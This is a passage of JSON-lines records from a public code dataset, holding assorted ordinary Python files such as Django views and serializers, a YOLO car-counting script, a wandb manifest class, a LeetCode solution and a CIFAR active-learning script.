sys.exit(app.exec_())\n","repo_name":"ddelabru/informatic","sub_path":"informatic/mainwin.py","file_name":"mainwin.py","file_ext":"py","file_size_in_byte":24938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"71264940907","text":"from __future__ import unicode_literals\n\nimport six\nfrom django import forms\nfrom django.contrib import messages\nfrom django.http.response import HttpResponseRedirect\nfrom django.utils.translation import ugettext as _\nfrom django.views.generic import UpdateView\n\nfrom shoop.admin.toolbar import PostActionButton, Toolbar\nfrom shoop.admin.utils.forms import add_form_errors_as_messages\nfrom shoop.admin.utils.urls import get_model_url\nfrom shoop.core.excs import NoProductsToShipException\nfrom shoop.core.models import Order, Product, Supplier\n\n\nclass OrderCreateShipmentView(UpdateView):\n    model = Order\n    template_name = \"shoop/admin/orders/create_shipment.jinja\"\n    context_object_name = \"order\"\n    form_class = forms.Form  # Augmented manually\n\n    def get_context_data(self, **kwargs):\n        context = super(OrderCreateShipmentView, self).get_context_data(**kwargs)\n        context[\"title\"] = _(\"Create Shipment -- %s\") % context[\"order\"]\n        context[\"toolbar\"] = Toolbar([\n            PostActionButton(\n                icon=\"fa fa-check-circle\",\n                form_id=\"create_shipment\",\n                text=_(\"Create Shipment\"),\n                extra_css_class=\"btn-success\",\n            ),\n        ])\n        return context\n\n    def get_form_kwargs(self):\n        kwargs = super(OrderCreateShipmentView, self).get_form_kwargs()\n        kwargs.pop(\"instance\")\n        return kwargs\n\n    def get_form(self, form_class):\n        form = super(OrderCreateShipmentView, self).get_form(form_class)\n        order = self.object\n        form.fields[\"supplier\"] = forms.ModelChoiceField(\n            queryset=Supplier.objects.all(),\n            initial=Supplier.objects.first(),\n            label=_(\"Supplier\")\n        )\n        form.product_summary = order.get_product_summary()\n        form.product_names = dict(\n            (product_id, text)\n            for (product_id, text)\n            in order.lines.exclude(product=None).values_list(\"product_id\", \"text\")\n        )\n        for product_id, info in sorted(six.iteritems(form.product_summary)):\n            product_name = form.product_names.get(product_id, \"Product %s\" % product_id)\n            unshipped_count = info[\"unshipped\"]\n            attrs = {\"data-max\": unshipped_count, \"class\": \"form-control text-right\", }\n            if unshipped_count == 0:\n                attrs[\"disabled\"] = \"disabled\"\n            field = forms.DecimalField(\n                required=bool(unshipped_count != 0),\n                min_value=0,\n                max_value=unshipped_count,\n                initial=0,\n                label=product_name,\n                widget=forms.TextInput(attrs=attrs)\n            )\n            form.fields[\"q_%s\" % product_id] = field\n\n        return form\n\n    def form_invalid(self, form):\n        add_form_errors_as_messages(self.request, form)\n        return super(OrderCreateShipmentView, self).form_invalid(form)\n\n    def form_valid(self, form):\n        product_ids_to_quantities = dict(\n            (int(key.replace(\"q_\", \"\")), value)\n            for (key, value)\n            in six.iteritems(form.cleaned_data)\n            if key.startswith(\"q_\") and value > 0\n        )\n        order = self.object\n        product_map = Product.objects.in_bulk(set(product_ids_to_quantities.keys()))\n        products_to_quantities = dict(\n            (product_map[product_id], quantity)\n            for (product_id, quantity)\n            in six.iteritems(product_ids_to_quantities)\n        )\n        try:\n            shipment = order.create_shipment(\n                supplier=form.cleaned_data[\"supplier\"],\n                product_quantities=products_to_quantities\n            )\n        except NoProductsToShipException:\n            messages.error(self.request, _(\"No products to ship.\"))\n            return self.form_invalid(form)\n        else:\n            messages.success(self.request, _(\"Shipment %s created.\") % shipment.id)\n            return HttpResponseRedirect(get_model_url(order))\n","repo_name":"if413019/ShoopDevelopment","sub_path":"shoop/admin/modules/orders/views/shipment.py","file_name":"shipment.py","file_ext":"py","file_size_in_byte":3965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"71417067626","text":"import docx\nfrom dataclasses import dataclass\n\n\nclass Character:\n    __slots__ = (\"name\", \"varname\")\n\n    def __init__(self, name: str) -> None:\n        self.name = name\n        self.varname = name.lower().strip().replace(\" \", \"_\")\n\n    def __hash__(self) -> int:\n        return hash(self.name + self.varname)\n\n    def __eq__(self, value: object) -> bool:\n        if type(value) is Character:\n            return self.name == value.name and self.varname == value.varname\n        return False\n\n\nif __name__ == \"__main__\":\n    lines = []\n    characters = set()\n\n    doc = docx.Document(\"example.docx\")\n    character: Character | None = None\n\n    default_font_size = -1\n\n    for para in doc.paragraphs:\n        if para.text.startswith(\"(\"):\n            lines.append(f\"    # {para.text}\\n\\n\")\n            continue\n        line = \"\"\n        for run in para.runs:\n            if default_font_size == -1 and run.font.size is not None:\n                default_font_size = run.font.size.pt\n            if run.bold and run.text.strip().endswith(\":\"):\n                character = Character(run.text.strip()[:-1])\n                characters.add(character)\n                continue\n            temp = run.text\n            if run.bold:\n                temp = \"{b}\" + temp + \"{/b}\"\n            if run.italic:\n                temp = \"{i}\" + temp + \"{/i}\"\n            if run.underline:\n                temp = \"{u}\" + temp + \"{/u}\"\n            if run.font.size is not None:\n                print(run.font.size.pt)\n                if run.font.size.pt > default_font_size:\n                    temp = (\n                        \"{size=+\"\n                        + str(int(run.font.size.pt - default_font_size))\n                        + \"}\"\n                        + temp\n                        + \"{/size}\"\n                    )\n                if run.font.size.pt < default_font_size:\n                    temp = (\n                        \"{size=-\"\n                        + str(int(default_font_size - run.font.size.pt))\n                        + \"}\"\n                        + temp\n                        + \"{/size}\"\n                    )\n            line += temp\n        if len(line) > 0:\n            line = line.replace(\"\\u2018\", \"'\").replace(\"\\u2019\", \"'\")\n            line = line.replace(\"\\u201C\", '\\\\\"').replace(\"\\u201D\", '\\\\\"')\n            line = line.replace(\"\\u2026\", \"...\")\n\n            if character is not None:\n                lines.append(f'    {character.varname} \"{line}\"\\n\\n')\n                character = None\n            else:\n                lines.append(f'    \"{line}\"\\n\\n')\n\n    with open(\"output.rpy\", \"w\") as f:\n        f.write(\"init:\\n\")\n\n        for character in characters:\n            f.write(f'    $ {character.varname} = Character(\"{character.name}\")\\n')\n\n        f.write(\"\\nlabel start:\\n\")\n\n        for line in lines:\n            f.write(line)\n","repo_name":"PurityLake/doctorenpy","sub_path":"docxparser.py","file_name":"docxparser.py","file_ext":"py","file_size_in_byte":2853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"31942838977","text":"import cv2\nfrom darkflow.net.build import TFNet\nimport numpy as np\nimport time\n\noptions = {\n    'model': 'cfg/yolo.cfg',\n    'load': 'bin/yolov2.weights',\n    'threshold': 0.15,\n    'gpu': 1.0\n}\ntfnet = TFNet(options)\n\n#capture = cv2.VideoCapture('http://166.254.127.186/mjpg/video.mjpg?resolution=704x480')\ncapture = cv2.VideoCapture('trafficVideo.mp4')\n#http://166.254.127.186/view/view.shtml?id=764&imagepath=%2Fmjpg%2Fvideo.mjpg&size=2\n#http://166.254.127.186/mjpg/video.mjpg?resolution=704x480\n#http://166.254.127.185 worst quality\n#colors = [tuple(255 * np.random.rand(3)) for i in range(50)]\n\nwhile (capture.isOpened()):\n    stime = time.time()\n    ret, frame = capture.read()\n    results = tfnet.return_predict(frame)\n\n    if ret:\n        counter = 0;\n        for result in results:\n            label = result['label']\n            if label == 'car':\n                tl = (result['topleft']['x'], result['topleft']['y'])\n                br = (result['bottomright']['x'], result['bottomright']['y'])\n                frame = cv2.rectangle(frame, tl, br, (0,0,255), 3)\n                frame = cv2.putText(frame, label, tl, cv2.FONT_HERSHEY_COMPLEX, 1, (255,255,255), 1)\n                counter = counter + 1\n\n        cv2.imshow('frame', frame)\n        print('Car Counter: ', counter)\n        #print('FPS {:.1f}'.format(1/(time.time() - stime)))\n\n        if cv2.waitKey(1) & 0xFF == ord('q'):\n            break\n\n    else:\n        capture.release()\n        cv2.destroyAllWindows()\n        break\n","repo_name":"luzejunior/Traffic-Light-Image-Processing","sub_path":"darkflow-master/videoDetection.py","file_name":"videoDetection.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"11117571824","text":"# Convert Employees table to JSON\n\nimport sqlite3\nimport json\n\nemployees = []\ncon = sqlite3.connect(r\"c:\\classroom\\apr19\\hr.db\")\ncur = con.cursor()\ncur.execute(\"select * from employees\")  # SQL Command\n\nfor id, name, job, salary in cur.fetchall():\n    employees.append({\"id\": id, \"name\": name, \"job\": job, \"salary\": salary})\n\nprint(json.dumps(employees))\ncur.close()\ncon.close()\n","repo_name":"srikanthpragada/PYTHON_19_APR_2021","sub_path":"demo/dbapi/db_to_json.py","file_name":"db_to_json.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"8396292601","text":"\"\"\"Artifact manifest.\"\"\"\nfrom typing import TYPE_CHECKING, Dict, List, Mapping, Optional\n\nfrom wandb.sdk.lib.hashutil import HexMD5\n\nif TYPE_CHECKING:\n    from wandb.sdk.artifacts.artifact_manifest_entry import ArtifactManifestEntry\n    from wandb.sdk.artifacts.storage_policy import StoragePolicy\n\n\nclass ArtifactManifest:\n    entries: Dict[str, \"ArtifactManifestEntry\"]\n\n    @classmethod\n    def from_manifest_json(cls, manifest_json: Dict) -> \"ArtifactManifest\":\n        if \"version\" not in manifest_json:\n            raise ValueError(\"Invalid manifest format. Must contain version field.\")\n        version = manifest_json[\"version\"]\n        for sub in cls.__subclasses__():\n            if sub.version() == version:\n                return sub.from_manifest_json(manifest_json)\n        raise ValueError(\"Invalid manifest version.\")\n\n    @classmethod\n    def version(cls) -> int:\n        raise NotImplementedError\n\n    def __init__(\n        self,\n        storage_policy: \"StoragePolicy\",\n        entries: Optional[Mapping[str, \"ArtifactManifestEntry\"]] = None,\n    ) -> None:\n        self.storage_policy = storage_policy\n        self.entries = dict(entries) if entries else {}\n\n    def __len__(self) -> int:\n        return len(self.entries)\n\n    def to_manifest_json(self) -> Dict:\n        raise NotImplementedError\n\n    def digest(self) -> HexMD5:\n        raise NotImplementedError\n\n    def add_entry(self, entry: \"ArtifactManifestEntry\") -> None:\n        if (\n            entry.path in self.entries\n            and entry.digest != self.entries[entry.path].digest\n        ):\n            raise ValueError(\"Cannot add the same path twice: %s\" % entry.path)\n        self.entries[entry.path] = entry\n\n    def remove_entry(self, entry: \"ArtifactManifestEntry\") -> None:\n        if entry.path not in self.entries:\n            raise FileNotFoundError(f\"Cannot remove missing entry: '{entry.path}'\")\n        del self.entries[entry.path]\n\n    def get_entry_by_path(self, path: str) -> Optional[\"ArtifactManifestEntry\"]:\n        return self.entries.get(path)\n\n    def get_entries_in_directory(self, directory: str) -> List[\"ArtifactManifestEntry\"]:\n        return [\n            self.entries[entry_key]\n            for entry_key in self.entries\n            if entry_key.startswith(\n                directory + \"/\"\n            )  # entries use forward slash even for windows\n        ]\n","repo_name":"wandb/wandb","sub_path":"wandb/sdk/artifacts/artifact_manifest.py","file_name":"artifact_manifest.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","stars":7479,"dataset":"github-code","pt":"37"}
+{"seq_id":"10741316079","text":"\"\"\"\n621.任务调度器\n给定一个用字符数组表示的 CPU 需要执行的任务列表。其中包含使用大写的 A - Z 字母表示的26 种不同种类的任务。任务可以以任意顺序执行，并且每个任务都可以在 1 个单位时间内执行完。CPU 在任何一个单位时间内都可以执行一个任务，或者在待命状态。\n\n然而，两个相同种类的任务之间必须有长度为n 的冷却时间，因此至少有连续 n 个单位时间内 CPU 在执行不同的任务，或者在待命状态。\n\n你需要计算完成所有任务所需要的最短时间。\n\n示例 ：\n输入：tasks = [\"A\",\"A\",\"A\",\"B\",\"B\",\"B\"], n = 2\n输出：8\n解释：A -> B -> (待命) -> A -> B -> (待命) -> A -> B.\n     在本示例中，两个相同类型任务之间必须间隔长度为 n = 2 的冷却时间，而执行一个任务只需要一个单位时间，所以中间出现了（待命）状态。\n\n提示：\n任务的总个数为[1, 10000]。\nn 的取值范围为 [0, 100]。\n\"\"\"\nfrom typing import List\nimport collections\n\n\nclass Solution:\n    # 桶\n    def leastInterval(self, tasks: List[str], n: int) -> int:\n        ct = collections.Counter(tasks)\n        # print(ct.most_common(1))\n        bucket = ct.most_common(1)[0][1]\n        last_bucket_size = list(ct.values()).count(bucket)\n        res = (bucket - 1) * (n + 1) + last_bucket_size\n        return max(res, len(tasks))\n\n    # 排序\n    def leastInterval1(self, tasks: List[str], n: int) -> int:\n        length = len(tasks)\n        if length <= 1:\n            return length\n        ct = collections.Counter(tasks)\n        max_time = ct.most_common(1)[0][1]\n        res = (max_time - 1) * (n + 1)\n        for key in ct.keys():\n            if ct[key] == max_time:\n                res += 1\n\n        return max(length, res)\n\n\nSolution().leastInterval1(['1', '2', '1', '4', '4', '2', '3', '1'], 3)\n","repo_name":"GeorgeDaiz/my_python","sub_path":"Leetcode/Array-Str/621.task-scheduler.py","file_name":"621.task-scheduler.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"29886420150","text":"#coding:utf-8\r\n\r\nfrom django.contrib import admin\r\nfrom Statistics.models import *\r\n\r\nclass StatisticsAdmin(admin.ModelAdmin):\r\n    list_display = (\"date\", \"message_received_number\",\"empty_classroom_query_number\", \"auto_reply_number\",\\\r\n                    \"subscribe_number\", \"unsubscribe_number\",)\r\n    list_filter = (\"date\",)\r\n\r\nadmin.site.register(Statistics, StatisticsAdmin)\r\n","repo_name":"realwhs/smart-qdu","sub_path":"Statistics/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"75191105706","text":"import os\n\n\nCHROME_PACKAGE = 'com.google.android.apps.chrome'\nCHROME_ACTIVITY = 'com.google.android.apps.chrome.Main'\nCHROME_TESTS_PACKAGE = 'com.google.android.apps.chrome.tests'\nLEGACY_BROWSER_PACKAGE = 'com.google.android.browser'\nLEGACY_BROWSER_ACTIVITY = 'com.android.browser.BrowserActivity'\nCONTENT_SHELL_PACKAGE = \"org.chromium.content_shell\"\nCONTENT_SHELL_ACTIVITY = \"org.chromium.content_shell.ContentShellActivity\"\n\nCHROME_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\n                                          '..', '..', '..'))\n\n# Ports arrangement for various test servers used in Clank.\n# Lighttpd server will attempt to use 9000 as default port, if unavailable it\n# will find a free port from 8001 - 8999.\nLIGHTTPD_DEFAULT_PORT = 9000\nLIGHTTPD_RANDOM_PORT_FIRST = 8001\nLIGHTTPD_RANDOM_PORT_LAST = 8999\nTEST_SYNC_SERVER_PORT = 9031\n\n# The net test server is started from 10000. Reserve 20000 ports for the all\n# test-server based tests should be enough for allocating different port for\n# individual test-server based test.\nTEST_SERVER_PORT_FIRST = 10000\nTEST_SERVER_PORT_LAST = 30000\n# A file to record next valid port of test server.\nTEST_SERVER_PORT_FILE = '/tmp/test_server_port'\nTEST_SERVER_PORT_LOCKFILE = '/tmp/test_server_port.lock'","repo_name":"eousphoros/mod-spdy","sub_path":"src/third_party/chromium/src/build/android/pylib/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":80,"dataset":"github-code","pt":"37"}
+{"seq_id":"90796390","text":"from sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import create_engine, Column, Integer, String, Float, ForeignKey\n\nBase = declarative_base()\n \nclass RaceHose(Base):\n\n    __tablename__ = 'race_hose'\n\n    race_id = Column(String(12), primary_key=True)\n    hose_id = Column(String(10), primary_key=True)\n    gate_num = Column(String(2))\n    hose_num = Column(String(2))\n\n    def __repr__(self):\n        return \"<RaceResult(hose_id='%s', name='%s')>\" % (self.hose_id, self.name)","repo_name":"mterada1228/netkeiba_scraping","sub_path":"analytics/model/raceHose.py","file_name":"raceHose.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"39329864049","text":"myis = [1, 2, 3]\nmyis.append(5)\nmyis.append(1)\nprint(myis)\nmyis.pop(4)\nprint(myis)\nmyis.sort()\nprint(myis)\nprint(help(myis.insert))\nmyis.insert(3, 0)\nprint(myis)\n# def keyword\n'''\nCreating a function requires a very specific \nsyntax,including the def kyword,correct indenttion and proper structure.\n'''\n\n\ndef name_of_function():\n    '''\n        docstring explains function.\n    '''\n    print(\"hola\")\n\n\nname_of_function()\n\n\ndef name_of_function(name):\n    print(\"Hello \"+name)\n\n\nname_of_function(\"Jose\")\n\n'''\nTypically we use the return keyword to send back\nthe result of the function,instead of just printing it out\nreturn allows us to assign the output of the function to a new variable.\n\n'''\n\n\ndef add_function(num1, num2):\n    return num1+num2\n\n\nprint(add_function(1, 2))\n\n\ndef say_hello():\n    print(\"Hello\")\n\n\nsay_hello()\n\n\ndef say_hello(name=\"Default name Nishu\"):\n    print(f\"Hello {name}\")\n\n\nsay_hello(\"Swati\")\nsay_hello()\n","repo_name":"swati12995/python-practice","sub_path":"src/basics/methods_functions.py","file_name":"methods_functions.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"38074973732","text":"def list_check(lst):\n    \"\"\"Are all items in lst a list?\n\n        >>> list_check([[1], [2, 3]])\n        True\n\n        >>> list_check([[1], \"nope\"])\n        False\n    \"\"\"\n    # Option 1\n    for el in lst:\n        if type(el) != list: # or use if not\n            return False\n    return True\n\n    # Option 2\n    # for el in lst:\n    #     if isinstance(el, list) == False:\n    #         return False\n    # return True","repo_name":"iamchenyu/python-ds-exercise","sub_path":"23_list_check/list_check.py","file_name":"list_check.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"22556328858","text":"import os, argparse, torch, random\nfrom torch import nn\n\nfrom cifar_repo.cifar import transform_test\n\nimport active_learning as al\n\nfrom classes_utils.cifar.data import CIFAR100LabelledClassification, CIFAR100Subset, CIFAR10LabelledClassification, CIFAR10Subset\nfrom config.ootb import default_staircase_network, default_unet_network, no_skip_default_unet_network\nfrom training_scripts.recalibration_scripts import unsupervised_recalibration_script\nfrom classes_utils.base.model import ModelWrapper\nfrom classes_losses.reconstrution import ImageReconstructionLoss\nfrom util_functions.base import config_savedir\nfrom torch.utils.data import DataLoader\nfrom config import metric_functions\nfrom util_functions.data import *\n\n\ndevice = (\n    torch.device('cuda') if torch.cuda.is_available()\n    else torch.device('cpu')\n)\nuse_cuda = torch.cuda.is_available()\n\nal.disable_tqdm()\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--dataset\", required=True, type=str)\nparser.add_argument(\"--metric_function\", required=True, type=str)\nparser.add_argument(\"--minibatch_prop\", required=True, type=float)\nparser.add_argument(\"--total_added_prop\", required=True, type=float)\nparser.add_argument(\"--total_start_prop\", required=True, type=float)\nparser.add_argument(\"--initial_lr\", required=True, type=float, help=\"Learning rate of RAE optimizer\")\nparser.add_argument(\"--finetune_lr\", required=True, type=float, help=\"Learning rate of RAE optimizer\")\nparser.add_argument(\"--scheduler_epochs\", required=True, nargs=\"+\", type=int)\nparser.add_argument(\"--scheduler_proportion\", required=True, type=float)\nparser.add_argument(\"--dropout\", required=True, type=float)\nparser.add_argument(\"--weight_decay\",required=True,type=float)\nparser.add_argument(\"--finetune_weight_decay\",required=True,type=float)\nparser.add_argument('--unet_with_skips', dest='unet_skips', action='store_true')\nparser.add_argument('--unet_without_skips', dest='unet_skips', action='store_false')\nparser.set_defaults(unet_skips=True)\nparser.add_argument('--compressed_net', action='store_true', default = False)\nparser.add_argument('--data_aug_type', required=False, type=str, default=\"none\")\nparser.add_argument(\"--batch_size\", required=True, type=int)\nparser.add_argument(\"--num_initial_epochs\", required=True, type=int)\nparser.add_argument(\"--num_finetune_epochs\", required=True, type=int)\nparser.add_argument('--do_reinitialise_autoencoder_ensemble', dest='reinitialise_autoencoder_ensemble', action='store_true')\nparser.add_argument('--do_not_reinitialise_autoencoder_ensemble', dest='reinitialise_autoencoder_ensemble', action='store_false')\nparser.set_defaults(reinitialise_autoencoder_ensemble=True)\nparser.add_argument(\"--save_dir\", required=False, default=None)\nparser.add_argument(\"--ensemble_size\", required=False, default=1, type=int)\nparser.add_argument('--momentum', default=0.9, type=float, metavar='M')\n\n\ndef configure_autoencoder_caller(args):\n\n    if args.compressed_net and not args.unet_skips:\n        raise ValueError('Cannot set --compressed_net and alter unet too')\n\n    if not args.compressed_net:\n        connector = \"with\" if args.unet_skips else \"without\"\n        print(\"Using UNet \" + connector + \" skips\")\n        autoencoder_ensemble_caller = default_unet_network if args.unet_skips else no_skip_default_unet_network\n\n    else:\n        print('Using compressed (staircase) fully convolutional net')\n        autoencoder_ensemble_caller = default_staircase_network\n\n    return autoencoder_ensemble_caller\n\n\ndef set_up_active_learning(args, classification, batch_mode_daf_metric=False, acquisition_kwargs=None):\n\n    # This is for the basic daf case - needs to be parameterised\n    encodings_criterion = None\n    anchor_criterion = None\n    if classification:\n        decodings_criterion = nn.CrossEntropyLoss(reduction='mean')\n    else:\n        decodings_criterion = ImageReconstructionLoss(mean_decodings=False, mean_losses=True)\n\n    # Select dataset\n    if args.dataset == 'cifar10':\n        cifar_dataset = CIFAR10LabelledClassification if classification else CIFAR10Subset\n        print('Using cifar10')\n    elif args.dataset == 'cifar100':\n        cifar_dataset = CIFAR100LabelledClassification if classification else CIFAR100Subset\n        print('Using cifar100')\n\n    # Don't want augmentation, just want normalisation\n    transform = transform_test\n    train_image_dataset = cifar_dataset(\n        root='./data', train=True, download=True, transform=transform, \n        original_transform=transform, init_indices=[], target_transform=None\n    )\n\n    attr_init = [[None for _ in range(args.ensemble_size)] for _ in range(len(train_image_dataset.data))]\n    al_attributes = [\n        # Normal initialisation doesn't work because labels size != reconstruction size, so\n        # we need to manually input reconstruction shape\n        al.dataset_classes.StochasticAttribute('last_logits', attr_init.copy(), args.ensemble_size, cache=False),\n        al.dataset_classes.StochasticAttribute('embeddings', attr_init.copy(), args.ensemble_size, cache=False),\n    ]\n    \n    # Standard active learning definitions\n    train_dataset = al.dataset_classes.DimensionlessDataset(\n        data=torch.tensor(range(len(train_image_dataset.data))),\n        labels=torch.tensor(range(len(train_image_dataset.data))),\n        costs=torch.tensor([1. for _ in range(len(train_image_dataset.data))]),\n        index_class=al.annotation_classes.DimensionlessIndex,\n        semi_supervision_agent=None,\n        data_reading_method=lambda x: train_image_dataset.get_original_data(x),\n        label_reading_method=lambda x: train_image_dataset.get_original_data(x),\n        al_attributes=al_attributes,\n        # We are using an ensemble in principle\n        is_stochastic=True\n    )\n\n    round_cost = train_dataset.total_cost * args.minibatch_prop\n    total_budget = train_dataset.total_cost * args.total_added_prop\n\n    div_pol = al.batch_querying.NoPolicyBatchQuerying()\n    window_class = al.annotation_classes.DimensionlessAnnotationUnit\n\n    # Need this for compatability\n    model = ModelWrapper(None)\n\n    if batch_mode_daf_metric:\n        metric_function = metric_functions[args.metric_function](train_dataset, **acquisition_kwargs)\n        scorer = metric_functions['classification'](train_dataset)\n        selector = al.selector.SubsetSelector(\n            round_cost=round_cost, \n            acquisition=metric_function,\n            scorer = scorer,\n            window_class=window_class,\n        )\n    else:\n        metric_function = metric_functions[args.metric_function](train_dataset)\n        selector = al.selector.DimensionlessSelector(\n            round_cost=round_cost, \n            acquisition=metric_function,\n            window_class=window_class,\n            diversity_policy=div_pol,\n            selection_mode='argmax'\n        )\n\n    agent = al.agent.ActiveLearningAgent(\n        train_set=train_dataset,\n        batch_size=args.batch_size,\n        selector_class=selector,\n        model=model,\n        device=device,\n        budget=total_budget\n    )\n\n    return agent, train_image_dataset, round_cost, total_budget, encodings_criterion, decodings_criterion, anchor_criterion\n\n\n\nif __name__ == '__main__':\n\n    print('CONFIGURING ARGS', flush=True)\n    args = parser.parse_args()\n\n    manualSeed = random.randint(1, 10000)\n    print('\\nSeed:', manualSeed, '\\n')\n    random.seed(manualSeed)\n    torch.manual_seed(manualSeed)\n    if use_cuda:\n        torch.cuda.manual_seed_all(manualSeed)\n\n    agent, train_image_dataset, round_cost, total_budget, \\\n        encodings_criterion, decodings_criterion, anchor_criterion = \\\n        set_up_active_learning(args, classification=False)\n    save_dir = config_savedir(args.save_dir, args)\n\n    print('Adding each round: ', round_cost, ' images')\n    print('Will stop at: ', total_budget, ' images')\n\n    model_init_method = configure_autoencoder_caller(args)\n    dataloader_init_method = lambda ds, batch_size: DataLoader(ds, batch_size=batch_size, shuffle=True, num_workers=4)\n\n    agent.init(args.total_start_prop)\n\n    agent = unsupervised_recalibration_script(\n        agent, args, model_init_method, dataloader_init_method, train_image_dataset, \n        encodings_criterion, decodings_criterion, anchor_criterion, save_dir, device\n    )\n\n    torch.save(agent.model.state_dict(), os.path.join(save_dir, 'final_autoencoder.mdl'))\n","repo_name":"puria-radmard/iib_project","sub_path":"interfaces/cifar_unsupervised_recalibration.py","file_name":"cifar_unsupervised_recalibration.py","file_ext":"py","file_size_in_byte":8370,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"24981097393","text":"from rest_framework import serializers\nfrom .models import (\n    File, CustomUser,\n    FileFolder,Folder\n)\n\n\n\nclass CustomUserSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = CustomUser\n        fields = ['id','username','email']\n\nclass FileUploadSerializer(serializers.ModelSerializer):\n\n    def create(self, validated_data):\n        user_id = self.context['request'].user.id\n        user = CustomUser.objects.get(id=user_id)\n        file = validated_data.get(\"file\")        \n        return File.objects.create(user_id=user_id, file=file)\n\n    user = CustomUserSerializer(read_only=True ) \n        \n    class Meta:\n        model = File\n        # fields = '__all__'\n        fields = ['user' , 'file', 'date_uploaded']\n        extra_kwargs = {\n            'date_uploaded':{'read_only': True},\n        }\n\n    \n\nclass FolderFileSerializer(serializers.ModelSerializer): \n    class Meta:\n        model = FileFolder\n        fields = ['name', 'file', 'date_uploaded']\n        extra_kwargs = {\n            'date_uploaded':{'read_only': True},\n        }\n\n\nclass FolderSerializer(serializers.ModelSerializer): \n    files = FolderFileSerializer(read_only=True, many=True)\n    class Meta:\n        model = Folder\n        fields = [ 'name', 'date_created', 'files']\n        extra_kwargs = {\n            'date_created':{'read_only': True},\n        }\n","repo_name":"olakayCoder1/DocDepot","sub_path":"client/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"10714324776","text":"\nimport json\nimport pandas as pd\nimport operator\n\nfrom django.utils.decorators import method_decorator\nfrom django.utils.text import slugify\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.admin.views.decorators import staff_member_required\nfrom django.views.generic.base import TemplateView\nfrom django.http import HttpResponse\nfrom django.db.models import Q\n\n\nfrom .models import Mainfooddesc\n\nclass FoodIndex(TemplateView):\n    \n    template_name = 'food/index.html'\n    \n    @method_decorator(login_required)\n    def dispatch(self, request, *args, **kwargs):  \n        \n        return super(FoodIndex, self).dispatch(request, *args, **kwargs)\n    \n    def get_context_data(self, **kwargs):\n              \n        context = super(FoodIndex, self).get_context_data(**kwargs)\n        \n        \n        \n        #raise Exception('fuck')\n        \n        context['test'] = \"Test\"\n        \n        return context\n\nclass FoodSearch(TemplateView): \n    template_name=\"report/report_detail.html\"\n    \n    def dispatch(self, request, *args, **kwargs):\n        \n        return super(FoodSearch, self).dispatch(request, *args, **kwargs)\n    \n    def get(self, request, *args, **kwargs):\n        \n        search_text = request.GET.get('search_text')\n        food_groups = json.loads(request.GET.get('food_groups'))\n        \n        try:\n            best_search = Mainfooddesc.objects.using('food').get(main_food_description=search_text)\n            best_search = best_search.main_food_description\n        except:\n            try:\n                best_search = Mainfooddesc.objects.using('food').get(main_food_description=search_text+', NFS')\n                best_search = best_search.main_food_description\n            except:\n                try:\n                    best_search = Mainfooddesc.objects.using('food').get(main_food_description=search_text+', raw')\n                    best_search = best_search.main_food_description\n                except:\n                    best_search = 'Nothing found'\n        \n        \n        prim_qs = reduce(operator.and_, (Q(main_food_description__icontains=x.strip()) for x in search_text.split(' ')))\n        sec_qs = reduce(operator.or_, (Q(main_food_description__icontains=x.strip()) for x in search_text.split(' ')))\n        \n        primary_search = Mainfooddesc.objects.using('food').filter(prim_qs)\n        secondary_search = Mainfooddesc.objects.using('food').filter(sec_qs)\n        \n          \n        pr_query = Q()\n        sec_query = Q()\n        \n        for group in food_groups:\n            \n            pr_query = pr_query | Q(food_code__startswith=int(group))\n            sec_query = sec_query | Q(food_code__startswith=int(group))\n        \n        primary_search = primary_search.filter(pr_query)\n        secondary_search = secondary_search.filter(sec_query)\n        \n        blocked_id = primary_search.values('food_code')\n        secondary_search = secondary_search.exclude(food_code__in=blocked_id)        \n            \n        \n        lprim = []\n        for food in primary_search:\n            lprim.append('Food code: '+str(food.food_code)+'. '+food.main_food_description)\n        \n        lsec = []\n        for food in secondary_search:\n            lsec.append('Food code: '+str(food.food_code)+'. '+food.main_food_description)\n        \n        if not lprim:\n            lprim_reponse = ['Nothing Found']\n        else:\n            lprim_reponse = [x.encode('UTF8') for x in lprim]\n        if not lsec:\n            lsec_reponse = ['Nothing Found']\n        else:\n            lsec_reponse = [x.encode('UTF8') for x in lsec]\n        \n         \n        response_data = {\n                         'best_search': best_search,\n                         'primary_search': lprim_reponse,\n                         'secondary_search': lsec_reponse\n                         }\n        #raise Exception('food')      \n        \n        return HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n    \n    \n    \n    \n    \n    \n    \n    \n    